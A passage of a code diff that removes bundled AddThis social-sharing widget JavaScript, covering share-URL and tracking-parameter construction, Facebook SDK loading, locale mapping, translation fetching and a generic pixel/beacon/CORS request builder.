-                            (n.screenshot_secure ? '&screenshot_secure=' + f(n.screenshot_secure, 1) : '') +
-                            (n.swfurl ? '&swfurl=' + f(n.swfurl, 1) : '') +
-                            (n.swfurl_secure ? '&swfurl_secure=' + f(n.swfurl_secure, 1) : '') +
-                            (s.hdl ? '&hdl=1' : '') +
-                            (h ? '&cb=' + h : '') +
-                            (C ? '&ufbl=1' : '') +
-                            (O ? '&uud=1' : '') +
-                            (n.iframeurl ? '&iframeurl=' + f(n.iframeurl, 1) : '') +
-                            (n.width ? '&width=' + n.width : '') +
-                            (n.height ? '&height=' + n.height : '') +
-                            (s.data_track_p32 ? '&p32=' + s.data_track_p32 : '') +
-                            (Q || _ate.track.ctp(s.product, s) ? '&ct=1' : '&ct=0') +
-                            ((Q || _ate.track.ctp(s.product, s)) && N.indexOf('#') > -1 ? '&uct=1' : '') +
-                            (j && j.url ? '&acn=' + v(j.name) + '&acc=' + v(j.code) + '&acu=' + v(j.url) : '') +
-                            (z ?
-                                (z.rxi ? '&rxi=' + z.rxi : '') + (z.rsi ? '&rsi=' + z.rsi : '') + (z.gen ? '&gen=' + z.gen : '') :
-                                (K ? '&rsi=' + K : '') + (J ? '&gen=' + J : '')) +
-                            (n.xid ? '&xid=' + f(n.xid, 1) : '') +
-                            (L ? '&template=' + f(L, 1) : '') +
-                            (P ? '&module=' + f(P, 1) : '') +
-                            (s.ui_cobrand ? '&ui_cobrand=' + f(s.ui_cobrand, 1) : '') +
-                            ('email' === e ?
-                                '&ui_email_to=' + f(s.ui_email_to, 1) + '&ui_email_from=' + f(s.ui_email_from, 1) + '&ui_email_note=' + f(s.ui_email_note, 1) :
-                                ''))
-                    );
-                }
-                var d = n(419);
-                var u = n(408);
-                var c = n(409);
-                var l = n(421);
-                var f = n(37);
-                var p = n(410);
-                var h = n(413);
-                var m = n(18);
-                var g = n(417);
-                var _ = n(60).makeCUID;
-                var v = window.encodeURIComponent;
-                e.exports = (e) =>
-                    s(
-                        e.svc,
-                        e.feed,
-                        e.share,
-                        e.config,
-                        e.classificationBitmask,
-                        e.secondaryProductCode,
-                        e.uid,
-                        e.sessionID,
-                        e.pubID,
-                        e.feedsABCell,
-                        e.usesFacebookLibrary,
-                        e.usesUserAPI,
-                        e.shareMetadata
-                    );
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(420);
-                var i = (document, window);
-                var o = n(64);
-                e.exports = () => {
-                    o.rescan();
-                    var e = o.du;
-                    var t = o.du.split('#');
-                    t.pop();
-                    return (
-                        a(o.dh) && (e = t.join('#')),
-                        i.addthis_share && i.addthis_share.imp_url && e && e !== i.addthis_share.url ?
-                        ((i.addthis_share.url = i.addthis_url = e), (i.addthis_share.title = i.addthis_title = o.title), 1) :
-                        0
-                    );
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    var t;
-                    return e ?
-                        ('#' === e.charAt(0) && (e = e.substr(1)),
-                            (t = e.split(';').shift()),
-                            3 === t.split('.').length && (t = t.split('.').slice(0, -1).join('.')),
-                            12 === t.length && '.' === t.substr(0, 1) && /[a-zA-Z0-9\-_]{11}/.test(t.substr(1)) ? 1 : 0) :
-                        0;
-                };
-            },
-            (e, t) => {
-                'use strict';
-                function n(e, t) {
-                    for (var n = a[e] || [], i = {}, o = 0; o < n.length; o++) {
-                        var r = n[o];
-                        if (window[r] && !(window[r] instanceof Element)) {
-                            i = window[r];
-                            break;
-                        }
-                    }
-                    Object.keys(i).forEach((e) => {
-                        t[e] || (t[e] = i[e]);
-                    });
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = n);
-                var a = {
-                    share: ['share', 'addthis_share'],
-                    config: ['conf', 'addthis_config']
-                };
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(5);
-                var i = n(423);
-                e.exports = (e, t, n, o, r) => {
-                    var s = t || 550;
-                    var d = n || 450;
-                    var u = screen.width;
-                    var c = screen.height;
-                    var l = Math.round(u / 2 - s / 2);
-                    var f = 0;
-                    c > d && (f = Math.round(c / 2 - d / 2));
-                    var p = window.open(
-                        e,
-                        a('msi') ? '' : o || 'addthis_share',
-                        'left=' + l + ',top=' + f + ',width=' + s + ',height=' + d + ',personalbar=no,toolbar=no,scrollbars=yes,location=yes,resizable=yes'
-                    );
-                    return i.push(p), !!r && p;
-                };
-            },
-            (e, t) => {
-                e.exports = [];
-            },
-            (e, t, n) => {
-                var a = n(401);
-                e.exports = (e, t, n) => {
-                    var i = new Image();
-                    return (i.src = a(e, 0, t, n)), i;
-                };
-            },
-            (e, t, n) => {
-                var a = n(393);
-                var i = n(396).FANCY;
-                e.exports = () => {
-                    a(i);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i() {
-                    (0, r.default)(s.HOUZZ);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(393);
-                var r = a(o);
-                var s = n(396);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i() {
-                    (0, r.default)(s.WEHEARTIT);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(393);
-                var r = a(o);
-                var s = n(396);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t) {
-                    (0, r.default)('baidu', e, t), (0, d.default)(l + '?s=bm&t=' + new Date());
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(424);
-                var r = a(o);
-                var s = n(393);
-                var d = a(s);
-                var u = n(396);
-                var c = a(u);
-                var l = c.default.BAIDU;
-                e.exports = t.default;
-            },
-            (e, t) => {
-                'use strict';
-                function n(...args) {
-                    args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                    return !1;
-                }
-                function a(e) {
-                    return !1;
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.confRequiresFacebookSDK = n),
-                    (t.elementRequiresFacebookSDK = a);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : 'en';
-                    var t = args.length > 1 && void 0 !== args[1] ? args[1] : f.default;
-                    var n = args.length > 2 && void 0 !== args[2] && args[2];
-                    if (w()) return void(n ? t(null) : setTimeout(() => t(null), 0));
-                    if (n) return void t(new Error('Cannot call the callback synchronously (without error) when the SDK is not already initialized!'));
-                    var a = (0, d.default)(window, m);
-                    if (!a) return void setTimeout(() => t(new Error('Cannot load Facebook SDK: missing app_id')), 0);
-                    var i = document.getElementById(h);
-                    var o = window.fbAsyncInit;
-                    if (i) {
-                        var s = 1;
-                        b = setTimeout(() => x(s), s * _);
-                    } else {
-                        var u = p.replace('{FACEBOOK_LANG}', (0, r.default)(e));
-                        (0, c.default)(u, !0, !1, h);
-                    }
-                    window.fbAsyncInit = () => {
-                        if ((b && (clearTimeout(b), (b = null)), o)) {
-                            if ((o(), !window.FB.ui))
-                                try {
-                                    window.FB.init({
-                                        appId: a,
-                                        xfbml: !0,
-                                        version: g
-                                    });
-                                } catch (e) {
-                                    return void t(e);
-                                }
-                        } else
-                            try {
-                                window.FB.init({
-                                    appId: a,
-                                    xfbml: !0,
-                                    version: g
-                                });
-                            } catch (e) {
-                                return void t(e);
-                            }
-                        t(null);
-                    };
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(431);
-                var r = a(o);
-                var s = n(432);
-                var d = a(s);
-                var u = n(397);
-                var c = a(u);
-                var l = n(29);
-                var f = a(l);
-                var p = '//connect.facebook.net/{FACEBOOK_LANG}/sdk.js';
-                var h = 'facebook-jssdk';
-                var m = 'addthis_share.passthrough.facebook.app_id';
-                var g = 'v2.10';
-                var _ = 1e3;
-                var v = 4;
-                var b = null;
-                var w = () => Boolean(window.FB && window.FB.ui);
-                var x = function e(t) {
-                    return w() ? void(b = null) : (t++, t > v ? ((b = null), void window.fbAsyncInit()) : void(b = setTimeout(() => e(t), t * _)));
-                };
-                e.exports = t.default;
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    var t = {
-                        ca: 'es',
-                        cs: 'CZ',
-                        cy: 'GB',
-                        da: 'DK',
-                        de: 'DE',
-                        eu: 'ES',
-                        ck: 'US',
-                        en: 'US',
-                        es: 'LA',
-                        gl: 'ES',
-                        ja: 'JP',
-                        ko: 'KR',
-                        nb: 'NO',
-                        nn: 'NO',
-                        sv: 'SE',
-                        ku: 'TR',
-                        zh: 'CN',
-                        'zh-tr': 'CN',
-                        'zh-hk': 'HK',
-                        'zh-tw': 'TW',
-                        fo: 'FO',
-                        fb: 'LT',
-                        af: 'ZA',
-                        sq: 'AL',
-                        hy: 'AM',
-                        be: 'BY',
-                        bn: 'IN',
-                        bs: 'BA',
-                        nl: 'NL',
-                        et: 'EE',
-                        fr: 'FR',
-                        ka: 'GE',
-                        el: 'GR',
-                        gu: 'IN',
-                        hi: 'IN',
-                        ga: 'IE',
-                        jv: 'ID',
-                        kn: 'IN',
-                        kk: 'KZ',
-                        la: 'VA',
-                        li: 'NL',
-                        ms: 'MY',
-                        mr: 'IN',
-                        ne: 'NP',
-                        pa: 'IN',
-                        pt: 'PT',
-                        rm: 'CH',
-                        sa: 'IN',
-                        sr: 'RS',
-                        sw: 'KE',
-                        ta: 'IN',
-                        pl: 'PL',
-                        tt: 'RU',
-                        te: 'IN',
-                        ml: 'IN',
-                        uk: 'UA',
-                        vi: 'VN',
-                        tr: 'TR',
-                        xh: 'ZA',
-                        zu: 'ZA',
-                        km: 'KH',
-                        tg: 'TJ',
-                        he: 'IL',
-                        ur: 'PK',
-                        fa: 'IR',
-                        yi: 'DE',
-                        gn: 'PY',
-                        qu: 'PE',
-                        ay: 'BO',
-                        se: 'NO',
-                        ps: 'AF',
-                        tl: 'ST'
-                    };
-                    var n = t[e] || t[e.split('-').shift()];
-                    return n ? e.split('-').shift() + '_' + n : 'en_US';
-                };
-            },
-            (e, t) => {
-                'use strict';
-                function n(e, t) {
-                    if (e && t) {
-                        Array.isArray(t) || (t = t.split('.'));
-                        for (var n = t.length, a = 0; a < n && ((e = e[t[a]]), 'undefined' != typeof e); a++);
-                        return e;
-                    }
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = n),
-                    (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n) {
-                    var a = (0, y.default)(e);
-                    return [(0, C.default)(t, a), (0, C.default)(n, a)];
-                }
-                function o(e) {
-                    return Object.keys(e).reduce((t, n) => ('function' != typeof e[n] && (t[n] = e[n]), t), {});
-                }
-                var r = (() => {
-                    function e(e, t) {
-                        var n = [],
-                            a = !0,
-                            i = !1,
-                            o = void 0;
-                        try {
-                            for (var r, s = e[Symbol.iterator](); !(a = (r = s.next()).done) && (n.push(r.value), !t || n.length !== t); a = !0);
-                        } catch (e) {
-                            (i = !0), (o = e);
-                        } finally {
-                            try {
-                                !a && s.return && s.return();
-                            } finally {
-                                if (i) throw o;
-                            }
-                        }
-                        return n;
-                    }
-                    return (t, n) => {
-                        if (Array.isArray(t)) return t;
-                        if (Symbol.iterator in Object(t)) return e(t, n);
-                        throw new TypeError('Invalid attempt to destructure non-iterable instance');
-                    };
-                })();
-                var s = n(434);
-                var d = a(s);
-                var u = n(424);
-                var c = a(u);
-                var l = n(474);
-                var f = a(l);
-                var p = n(401);
-                var h = a(p);
-                var m = n(381);
-                var g = a(m);
-                var _ = n(62);
-                var v = a(_);
-                var b = n(30);
-                var w = a(b);
-                var x = n(35);
-                var y = a(x);
-                var k = n(481);
-                var C = a(k);
-                var O = (e, t) => {
-                    var n = (0, h.default)('email', 0, e, t, !0),
-                        a = i(n, e, t),
-                        s = r(a, 2),
-                        d = s[0],
-                        u = s[1];
-                    return (
-                        n +
-                        '&ats=' +
-                        encodeURIComponent((0, v.default)(o(d))) +
-                        '&atc=' +
-                        encodeURIComponent((0, v.default)(o(u))) +
-                        '&rb=' +
-                        encodeURIComponent(w.default.isBrandingReduced())
-                    );
-                };
-                (e.exports = (e, t) => {
-                    if (((t.ui_pane = 'email'), document.location.href.search(/bookmark\.php/) === -1)) {
-                        var n = O(e, t);
-                        var a = (0, f.default)(n, 'EmailAFriendWin', '');
-                        return a;
-                    }
-                    (0, c.default)(e.service, e, t), (0, g.default)(e), (0, d.default)(document.body, 'more', '', '', t, e);
-                }),
-                (e.exports.getEmailURL = O);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(3);
-                var i = n(435);
-                e.exports = function e(t, n, o, r, s, d, u) {
-                    _ate.ao.toString() === e.toString() ? (a(['open', t, n, o, r, s, d, u]), i()) : _ate.ao.apply(this, arguments);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(436).wasRequestMade;
-                var i = n(436).get;
-                var o = n(452);
-                var r = window;
-                e.exports = () => {
-                    try {
-                        i(),
-                            o.isModuleLoaded('menu') ||
-                            (a() && !r.addthis_translations ?
-                                setTimeout(() => {
-                                    o.loadMenu();
-                                }) :
-                                o.loadMenu());
-                    } catch (e) {}
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    var t = r((e || o()).toLowerCase());
-                    if (d.indexOf(',' + t + ',') === -1 && 0 !== t.indexOf('en')) {
-                        d += t + ',';
-                        var n = {
-                            lang: t
-                        };
-                        u.go(n), (s = !0);
-                    }
-                }
-                function i() {
-                    return s;
-                }
-                var o = n(18);
-                var r = n(437);
-                var s = !1;
-                var d = ',';
-                var u = n(438);
-                e.exports = {
-                    get: a,
-                    wasRequestMade: i
-                };
-            },
-            (e, t, n) => {
-                var a = n(19);
-                e.exports = (e) => {
-                    var t = a(e) || 'en';
-                    return 1 === t && (t = e), t;
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                var i =
-                    'function' == typeof Symbol && 'symbol' == typeof Symbol.iterator ?
-                    (e) => typeof e :
-                    (e) => (e && 'function' == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? 'symbol' : typeof e);
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var o =
-                    'function' == typeof Symbol && 'symbol' === i(Symbol.iterator) ?
-                    (e) => ('undefined' == typeof e ? 'undefined' : i(e)) :
-                    (e) =>
-                    e && 'function' == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ?
-                    'symbol' :
-                    'undefined' == typeof e ?
-                    'undefined' :
-                    i(e);
-                var r = n(439);
-                var s = a(r);
-                var d = (e, t) => {
-                    var n = void 0;
-                    return (n = t && 'string' == typeof t.lang ? t.lang : 'en'), 'https://s7.addthis.com/l10n/client.' + n + '.min.json';
-                };
-                var u = (e, t) => {
-                    var n = void 0;
-                    try {
-                        n = window.JSON.parse(e);
-                    } catch (e) {}
-                    t(n);
-                };
-                var c = (e) => {
-                    switch (e) {
-                        case 'rtl':
-                            n(444);
-                            break;
-                        case 'ttb':
-                            n(446);
-                            break;
-                        case 'ttbrtl':
-                            n(448);
-                            break;
-                        default:
-                            n(450);
-                    }
-                };
-                (t.default = new s.default(d)
-                    .optional('lang')
-                    .cors('GET')
-                    .onLoad((e) => {
-                        u(e.responseText, (e) => {
-                            'object' === o(e.top_services) &&
-                                ('object' === o(e.top_services.desktop) && (window.addthis_services_loc = e.top_services.desktop.join(',')),
-                                    'object' === o(e.top_services.mobile) && (window.addthis_services_loc_mob = e.top_services.mobile.join(','))),
-                                c(e.language_codes.direction),
-                                (window.addthis_translations = [
-                                    [e.language_codes.alternate].concat(e.strings)
-                                ]);
-                            var t = {
-                                lng: e.language_codes.client
-                            };
-                            window._ate && window._ate.ed.fire('addthis.i18n.ready', window.addthis, t);
-                        });
-                    })),
-                (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t) {
-                    if (!(e instanceof t)) throw new TypeError('Cannot call a class as a function');
-                }
-                function o(e) {
-                    for (var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : []; e.length;) e.pop().apply(null, t);
-                }
-                function r(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : '';
-                    var t = '/live/red_lojson/300lo.json?';
-                    return e.indexOf(t) > -1;
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var s = (() => {
-                    function e(e, t) {
-                        for (var n = 0; n < t.length; n++) {
-                            var a = t[n];
-                            (a.enumerable = a.enumerable || !1), (a.configurable = !0), 'value' in a && (a.writable = !0), Object.defineProperty(e, a.key, a);
-                        }
-                    }
-                    return (t, n, a) => (n && e(t.prototype, n), a && e(t, a), t);
-                })();
-                var d = n(440);
-                var u = a(d);
-                var c = n(397);
-                var l = a(c);
-                var f = n(366);
-                var p = (a(f), n(21));
-                var h = a(p);
-                var m = n(442);
-                var g = a(m);
-                var _ = n(443);
-                var v = a(_);
-                var b = 0;
-                var w = 1;
-                var x = 2;
-                var y = 3;
-                var k = 4;
-                var C = 0;
-                var O = 1;
-                var M = 2;
-                var A = 3;
-                var E = !1;
-                var S = (() => {
-                    function e(t) {
-                        i(this, e),
-                            'function' == typeof t ? (this._urlCallback = t) : (this._url = t),
-                            (this._force = !1),
-                            (this._multi = {}),
-                            (this._lastKey = null),
-                            (this._type = O),
-                            (this._params = []),
-                            (this._paramNames = {}),
-                            (this._paramValues = {}),
-                            (this._requestCount = 0),
-                            (this._responseCount = 0),
-                            (this._loadCallbacks = []),
-                            (this._errorCallbacks = []),
-                            (this._dataErrorCallbacks = []);
-                    }
-                    return (
-                        s(e, [{
-                                key: 'jsonp',
-                                value(...args) {
-                                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : 'callback',
-                                        t = (0, u.default)(window._ate),
-                                        n = t.storeCallback,
-                                        a = n(
-                                            'jsonp_',
-                                            Math.random().toString().slice(2),
-                                            function(...args) {
-                                                this._responseCount++, o(this._loadCallbacks, args);
-                                            }.bind(this)
-                                        );
-                                    return (
-                                        this._addParam({
-                                            type: y,
-                                            key: e,
-                                            value: a
-                                        }),
-                                        (this._type = C),
-                                        this
-                                    );
-                                }
-                            },
-                            {
-                                key: 'pixel',
-                                value() {
-                                    return (this._type = O), this;
-                                }
-                            },
-                            {
-                                key: 'beacon',
-                                value() {
-                                    return (this._type = M), this;
-                                }
-                            },
-                            {
-                                key: 'cors',
-                                value(e) {
-                                    return (this._type = A), 'POST' === e.toUpperCase() ? (this._method = 'POST') : (this._method = 'GET'), this;
-                                }
-                            },
-                            {
-                                key: 'go',
-                                value(e) {
-                                    this._paramValues = e;
-                                    var t = this._processValues(e),
-                                        n = t.errors,
-                                        a = t.query;
-                                    n.length ?
-                                        (this._dataErrorCallbacks.length ? o(this._dataErrorCallbacks, n) : n.forEach((e) => console.error(e)),
-                                            this._force && this._request(a)) :
-                                        this._request(a);
-                                }
-                            },
-                            {
-                                key: 'getRequestCount',
-                                value() {
-                                    return this._requestCount;
-                                }
-                            },
-                            {
-                                key: 'getResponseCount',
-                                value() {
-                                    return this._responseCount;
-                                }
-                            },
-                            {
-                                key: 'required',
-                                value(e) {
-                                    var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : null;
-                                    return (
-                                        this._addParam({
-                                            type: b,
-                                            key: e,
-                                            test: t
-                                        }),
-                                        this
-                                    );
-                                }
-                            },
-                            {
-                                key: 'optional',
-                                value(e) {
-                                    var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : null;
-                                    return (
-                                        this._addParam({
-                                            type: w,
-                                            key: e,
-                                            test: t
-                                        }),
-                                        this
-                                    );
-                                }
-                            },
-                            {
-                                key: 'optionalWithUnencodedValue',
-                                value(e) {
-                                    var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : null;
-                                    return (
-                                        this._addParam({
-                                            type: k,
-                                            key: e,
-                                            test: t
-                                        }),
-                                        this
-                                    );
-                                }
-                            },
-                            {
-                                key: 'always',
-                                value(e) {
-                                    var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : null;
-                                    return (
-                                        this._addParam({
-                                            type: x,
-                                            key: e,
-                                            test: t
-                                        }),
-                                        this
-                                    );
-                                }
-                            },
-                            {
-                                key: 'constant',
-                                value(e, t) {
-                                    return (
-                                        (0, h.default)(void 0 !== t, '%s: the constant query param %s missing value', this._url, e),
-                                        this._addParam({
-                                            type: y,
-                                            key: e,
-                                            value: t
-                                        }),
-                                        this
-                                    );
-                                }
-                            },
-                            {
-                                key: 'multiple',
-                                value() {
-                                    return this._lastKey && (this._multi[this._lastKey] = !0), this;
-                                }
-                            },
-                            {
-                                key: 'onDataError',
-                                value(e) {
-                                    return this._dataErrorCallbacks.push(e), this;
-                                }
-                            },
-                            {
-                                key: 'onError',
-                                value(e) {
-                                    return this._errorCallbacks.push(e), this;
-                                }
-                            },
-                            {
-                                key: 'onLoad',
-                                value(e) {
-                                    return this._loadCallbacks.push(e), this;
-                                }
-                            },
-                            {
-                                key: 'force',
-                                value(e) {
-                                    return (this._force = Boolean(e)), this;
-                                }
-                            },
-                            {
-                                key: '_addParam',
-                                value(e) {
-                                    var t = e.type,
-                                        n = e.key,
-                                        a = e.test,
-                                        i = e.value;
-                                    (0, h.default)(
-                                        !this._paramNames[n],
-                                        '%s: the param %s was already added to the request and cannot be overridden!',
-                                        this._url,
-                                        n
-                                    ),
-                                    (this._paramNames[n] = !0),
-                                    (this._lastKey = n),
-                                    this._params.push({
-                                        type: t,
-                                        key: n,
-                                        test: a,
-                                        value: i
-                                    });
-                                }
-                            },
-                            {
-                                key: '_testPasses',
-                                value(e) {
-                                    var t = e.key,
-                                        n = e.value,
-                                        a = e.test,
-                                        i = e.multi;
-                                    if (i) {
-                                        (0, h.default)(n instanceof Array, '%s: the multi param %s needs to be an array, got %s', this._url, t, n);
-                                        for (var o = 0; o < n.length; o++)
-                                            if (
-                                                this._testPasses({
-                                                    key: t,
-                                                    value: n[o],
-                                                    test: a,
-                                                    multi: !1
-                                                })
-                                            )
-                                                return !1;
-                                        return !0;
-                                    }
-                                    return a instanceof RegExp ? a.test(n) : !(a instanceof Function) || a(n);
-                                }
-                            },
-                            {
-                                key: '_encodePair',
-                                value(e, t) {
-                                    return t instanceof Object && null !== t && (t = JSON.stringify(t)), encodeURIComponent(e) + '=' + encodeURIComponent(t);
-                                }
-                            },
-                            {
-                                key: '_encodeKeyOnly',
-                                value(e, t) {
-                                    return encodeURIComponent(e) + '=' + t;
-                                }
-                            },
-                            {
-                                key: '_processValues',
-                                value(e) {
-                                    for (var t = [], n = [], a = 0; a < this._params.length; a++) {
-                                        var i = this._params[a],
-                                            o = i.type,
-                                            r = i.key,
-                                            s = i.test,
-                                            d = Boolean(this._multi[r]),
-                                            u = void 0 !== this._params[a].value ? this._params[a].value : e[r];
-                                        try {
-                                            switch (o) {
-                                                case y:
-                                                    (0, h.default)(
-                                                        d || void 0 === e[r],
-                                                        '%s: the constant param %s cannot be overridden and multiple values are not allowed',
-                                                        this._url,
-                                                        r
-                                                    ),
-                                                    n.push(this._encodePair(r, u));
-                                                    break;
-                                                case b:
-                                                    (0, h.default)(
-                                                        this._testPasses({
-                                                            test: s,
-                                                            value: u,
-                                                            key: r,
-                                                            multi: d
-                                                        }),
-                                                        '%s: the required param %s was provided an invalid value of %s',
-                                                        this._url,
-                                                        r,
-                                                        u
-                                                    ),
-                                                    n.push(this._encodePair(r, u));
-                                                    break;
-                                                case w:
-                                                    (0, h.default)(
-                                                        void 0 === u ||
-                                                        this._testPasses({
-                                                            test: s,
-                                                            value: u,
-                                                            key: r,
-                                                            multi: d
-                                                        }),
-                                                        '%s: the optional param %s was provided an invalid value of %s',
-                                                        this._url,
-                                                        r,
-                                                        u
-                                                    ),
-                                                    void 0 !== u && n.push(this._encodePair(r, u));
-                                                    break;
-                                                case k:
-                                                    (0, h.default)(
-                                                        void 0 === u ||
-                                                        this._testPasses({
-                                                            test: s,
-                                                            value: u,
-                                                            key: r,
-                                                            multi: d
-                                                        }),
-                                                        '%s: the optional unencoded value param %s was provided an invalid value of %s',
-                                                        this._url,
-                                                        r,
-                                                        u
-                                                    ),
-                                                    void 0 !== u && n.push(this._encodeKeyOnly(r, u));
-                                                    break;
-                                                case x:
-                                                    (0, h.default)(
-                                                        void 0 === u ||
-                                                        this._testPasses({
-                                                            test: s,
-                                                            value: u,
-                                                            key: r,
-                                                            multi: d
-                                                        }),
-                                                        '%s: the always included param %s was provided an invalid value of %s',
-                                                        this._url,
-                                                        r,
-                                                        u
-                                                    ),
-                                                    n.push(this._encodePair(r, void 0 !== u ? u : ''));
-                                            }
-                                        } catch (e) {
-                                            t.push(e);
-                                        }
-                                    }
-                                    return {
-                                        query: n.join('&'),
-                                        errors: t
-                                    };
-                                }
-                            },
-                            {
-                                key: 'getUrl',
-                                value(e) {
-                                    var t = void 0;
-                                    return (
-                                        'function' == typeof this._urlCallback ?
-                                        ((t = this._urlCallback(e, this._paramValues)), (this._url = t)) :
-                                        (t = this._url + '?' + e),
-                                        t
-                                    );
-                                }
-                            },
-                            {
-                                key: '_request',
-                                value(e) {
-                                    var t = this,
-                                        n = this.getUrl(e),
-                                        a = void 0;
-                                    if (
-                                        ((0, h.default)(
-                                                this._type === O || this._type === C || this._type === M || this._type === A,
-                                                '%s: unrecognized type %s, aborting',
-                                                this._url,
-                                                this._type
-                                            ),
-                                            this._type === O)
-                                    )
-                                        (a = new Image()),
-                                        (a.src = n),
-                                        (a.onload = () => {
-                                            t._responseCount++, o(t._loadCallbacks);
-                                        }),
-                                        (a.onerror = () => {
-                                            o(t._errorCallbacks);
-                                        });
-                                    else if (this._type === C) {
-                                        var i = r(n);
-                                        E && i ? (a = (0, l.default)(n, 1, void 0, void 0, void 0, !0)) : ((a = (0, l.default)(n, 1)), i && (E = !0)),
-                                            'number' != typeof a &&
-                                            (a.onerror = () => {
-                                                o(t._errorCallbacks);
-                                            });
-                                    } else if (this._type === M)(0, g.default)(n, '{}');
-                                    else if (this._type === A) {
-                                        var s = {
-                                            url: n,
-                                            method: this._method,
-                                            onSuccess(e) {
-                                                o(t._loadCallbacks, [e]);
-                                            },
-                                            onFailure() {
-                                                o(t._errorCallbacks);
-                                            }
-                                        };
-                                        (0, v.default)(s);
-                                    }
-                                    this._requestCount++;
-                                }
-                            }
-                        ]),
-                        e
-                    );
-                })();
-                (t.default = S), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(441);
-                e.exports = (e) => (e ? ((e.cbs = e.cbs || {}), a('_ate.cbs')) : window.addthis ? ((addthis.cbs = addthis.cbs || {}), a('addthis.cbs')) : void 0);
-            },
-            (module, exports) => {
-                var w = window;
-                var euc = w.encodeURIComponent;
-                var times = {};
-                var timeouts = {};
-                var callbacks;
-                var pageCallbacks = {};
-                module.exports = (globalObjectString) => {
-                    function storeCallback(e, t, n, a, i) {
-                        (t = euc(t)
-                            .replace(/[0-3][A-Z]|[^a-zA-Z0-9]/g, '')
-                            .toLowerCase()),
-                        (pageCallbacks[t] = pageCallbacks[t] || 0);
-                        var o = pageCallbacks[t]++;
-                        var r = e + '_' + t + (i ? '' : o);
-                        return (
-                            callbacks[r] ||
-                            (callbacks[r] = function(...args) {
-                                timeouts[r] && clearTimeout(timeouts[r]), n.apply(this, args);
-                            }),
-                            (times[r] = new Date().getTime()),
-                            a && (clearTimeout(timeouts[r]), (timeouts[r] = setTimeout(a, 1e4))),
-                            globalObjectString + '.' + euc(r)
-                        );
-                    }
-                    function getCallbackCallTime(e) {
-                        return times[e];
-                    }
-                    try {
-                        callbacks = eval(globalObjectString);
-                    } catch (e) {
-                        throw new Error('Must pass a string which will eval to a globally accessible object where callbacks will be stored');
-                    }
-                    return {
-                        storeCallback,
-                        getCallbackCallTime
-                    };
-                };
-            },
-            (e, t) => {
-                'use strict';
-                var n = [
-                    (e, t) => navigator.sendBeacon(e, t),
-                    (e) => {
-                        var t = new Image();
-                        return (t.src = e), !0;
-                    }
-                ];
-                var a = navigator.sendBeacon instanceof Function ? 0 : Math.floor(Math.random() * (n.length - 1) + 1);
-                (e.exports = n[a]), (e.exports.polyfillMethodID = a);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a() {}
-                function i(e, t) {
-                    return (
-                        setTimeout(() => {
-                            t({
-                                statusText: e || 'Something went wrong.'
-                            });
-                        }, 0),
-                        null
-                    );
-                }
-                function o(e) {
-                    e = e || {};
-                    var t;
-                    var o;
-                    var r = e.onFailure || a;
-                    var s = e.onSuccess || a;
-                    var d = 'POST' === (e.method || '').toUpperCase() ? 'POST' : 'GET';
-                    var u = e.withCredentials === !0;
-                    var c = e.timeoutMs || 1e4;
-                    if ('undefined' == typeof XMLHttpRequest) return i('Your browser does not support this method.', r);
-                    if ('GET' !== d && 'POST' !== d) return i('This method is not supported.', r);
-                    if (((t = new XMLHttpRequest()), (o = 'withCredentials' in t)))
-                        return (
-                            t.open(d, e.url || '', !0),
-                            'POST' === d && t.setRequestHeader('Content-type', e.contentType || 'application/json'),
-                            (t.timeout = c),
-                            (t.withCredentials = u),
